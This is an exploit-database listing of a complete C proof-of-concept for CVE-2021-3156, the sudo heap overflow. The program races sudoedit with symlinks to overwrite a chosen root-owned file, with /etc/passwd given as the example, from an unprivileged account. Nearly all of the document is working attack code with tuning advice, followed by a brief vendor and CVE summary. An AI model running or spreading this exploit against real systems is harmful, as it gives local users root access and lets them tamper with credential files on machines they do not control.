Lucene search

K
packetstormNu11secur1tyPACKETSTORM:161230
HistoryFeb 01, 2021 - 12:00 a.m.

Sudo Buffer Overflow / Privilege Escalation

2021-02-0100:00:00
nu11secur1ty
packetstormsecurity.com
405
`# Exploit Title: Local Privilege Escalation - LPE  
# Authors and Contributors: cts, help from r4j, debug by nu11secur1ty  
# Date: 30.01.2021  
# Vendor: https://www.sudo.ws/  
# Link: https://www.sudo.ws/download.html  
# CVE: CVE-2021-3156  
  
  
[+] Credits: Ventsislav Varbanovski (@ nu11secur1ty)  
[+] Website: https://www.nu11secur1ty.com/  
[+] Source:  
https://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-3156/1.30.2021  
  
  
[Exploit Program Code]  
  
// Exploit by @gf_256 aka cts  
// With help from r4j  
// Debug by @nu11secur1ty  
// Original advisory by Baron Samedit of Qualys  
  
// Tested on Ubuntu 18.04 and 20.04 & 20.04.01  
// You will probably need to adjust RACE_SLEEP_TIME.  
  
#include <stdio.h>  
#include <stdint.h>  
#include <stdlib.h>  
#include <string.h>  
#include <stdlib.h>  
#include <assert.h>  
#include <unistd.h>  
#include <sys/wait.h>  
#include <sys/types.h>  
#include <sys/resource.h>  
#include <sys/stat.h>  
#include <unistd.h>  
#include <fcntl.h>  
#include <pwd.h>  
  
// !!! best value of this varies from system-to-system !!!  
// !!! you will probably need to tune this !!!  
#define RACE_SLEEP_TIME 10000  
  
char *target_file;  
char *src_file;  
  
size_t query_target_size()  
{  
struct stat st;  
stat(target_file, &st);  
return st.st_size;  
}  
  
char* read_src_contents()  
{  
FILE* f = fopen(src_file, "rb");  
if (!f) {  
puts("oh no baby what are you doing :(");  
abort();  
}  
fseek(f, 0, SEEK_END);  
long fsize = ftell(f);  
fseek(f, 0, SEEK_SET);  
char *content = malloc(fsize + 1);  
fread(content, 1, fsize, f);  
fclose(f);  
return content;  
}  
  
char* get_my_username()  
{  
// getlogin can return incorrect result (for example, root under su)!  
struct passwd *pws = getpwuid(getuid());  
return strdup(pws->pw_name);  
}  
  
int main(int my_argc, char **my_argv)  
{  
puts("CVE-2021-3156 PoC by @gf_256");  
puts("original advisory by Baron Samedit");  
  
if (my_argc != 3) {  
puts("./meme <target file> <src file>");  
puts("Example: ./meme /etc/passwd my_fake_passwd_file");  
return 1;  
}  
target_file = my_argv[1];  
src_file = my_argv[2];  
printf("we will overwrite %s with shit from %s\n", target_file,  
src_file);  
  
char* myusername = get_my_username();  
printf("hi, my name is %s\n", myusername);  
  
size_t initial_size = query_target_size();  
printf("%s is %zi big right now\n", target_file, initial_size);  
  
char* shit_to_write = read_src_contents();  
  
char memedir[1000];  
char my_symlink[1000];  
char overflow[1000];  
  
char* bigshit = calloc(1,0x10000);  
memset(bigshit, 'A', 0xffff); // need a big shit in the stack so the  
write doesn't fail with bad address  
  
char *argv[] = {"/usr/bin/sudoedit", "-A", "-s", "\\",  
overflow,  
NULL  
};  
  
char *envp[] = {  
"\n\n\n\n\n", // put some fuckin newlines here to separate our real  
contents from the junk  
shit_to_write,  
"SUDO_ASKPASS=/bin/false",  
  
"LANG=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa  
",  
bigshit,  
NULL  
};  
  
puts("ok podracing time bitches");  
  
// Boom =)  
// for (int i = 0; i < 5000; i++)  
for (int i = 0; i < 3000; i++) {  
sprintf(memedir,  
"ayylmaobigchungussssssssssss00000000000000000000000000%08d", i);  
sprintf(overflow,  
"11111111111111111111111111111111111111111111111111111111%s", memedir);  
sprintf(my_symlink, "%s/%s", memedir, myusername);  
puts(memedir);  
  
if (access(memedir, F_OK) == 0) {  
printf("dude, %s already exists, do it from a clean working  
dir\n", memedir);  
return 1;  
}  
  
pid_t childpid = fork();  
if (childpid) { // parent  
usleep(RACE_SLEEP_TIME);  
mkdir(memedir, 0700);  
symlink(target_file, my_symlink);  
waitpid(childpid, 0, 0);  
} else { // child  
setpriority(PRIO_PROCESS, 0, 20); // set nice to 20 for race  
reliability  
execve("/usr/bin/sudoedit", argv, envp); // noreturn  
puts("execve fails?!");  
abort();  
}  
  
if (query_target_size() != initial_size) {  
puts("target file has a BRUH MOMENT!!!! SUCCess???");  
system("xdg-open 'https://www.youtube.com/watch?v=cj_8X1cyVFc'");  
// ayy lmao  
return 0;  
}  
}  
  
puts("Failed?");  
puts("if all the meme dirs are owned by root, the usleep needs to be  
decreased.");  
puts("if they're all owned by you, the usleep needs to be increased");  
  
  
return 0;  
}  
  
[Vendor]  
Sudo  
  
  
[Vulnerability Type]  
Buffer Overflow Local Privilege Escalation  
  
[CVE Reference]  
Sudo before 1.9.5p2 has a Heap-based Buffer Overflow, allowing privilege  
escalation to root via "sudoedit -s"  
and a command-line argument that ends with a single backslash character.  
  
[Security Issue]  
Taking control of the Linux system  
Vulnerabilty version: before 1.9.5p2  
  
  
[Video]  
https://www.youtube.com/watch?v=L-dEIYEQd1E  
  
  
[Conclusion and Fix]  
https://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-3156  
https://www.youtube.com/watch?v=zf8FXOFWZKs  
  
  
@nu11secur1ty  
https://www.nu11secur1ty.com/  
`